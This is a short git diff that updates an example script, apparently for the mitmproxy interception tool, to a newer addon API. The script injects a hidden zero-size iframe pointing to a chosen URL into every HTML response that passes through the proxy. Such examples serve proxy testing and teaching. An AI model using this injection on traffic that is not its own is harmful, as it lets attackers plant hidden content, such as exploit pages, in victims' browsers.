1 files changed, 9 insertions, 7 deletions
diff --git a/examples/iframe_injector.py b/examples/iframe_injector.py
index 5803b4c1..352c3c24 100644
--- a/examples/iframe_injector.py
+++ b/examples/iframe_injector.py
@@ -3,24 +3,26 @@
 import sys
 from bs4 import BeautifulSoup
 
+iframe_url = None
 
-def start(context):
+
+def start():
     if len(sys.argv) != 2:
         raise ValueError('Usage: -s "iframe_injector.py url"')
-    context.iframe_url = sys.argv[1]
+    global iframe_url
+    iframe_url = sys.argv[1]
 
 
-def response(context, flow):
-    if flow.request.host in context.iframe_url:
+def response(flow):
+    if flow.request.host in iframe_url:
         return
     html = BeautifulSoup(flow.response.content, "lxml")
     if html.body:
         iframe = html.new_tag(
             "iframe",
-            src=context.iframe_url,
+            src=iframe_url,
             frameborder=0,
             height=0,
             width=0)
         html.body.insert(0, iframe)
-        flow.response.content = str(html)
-        context.log("Iframe inserted.")
+        flow.response.content = str(html).encode("utf8")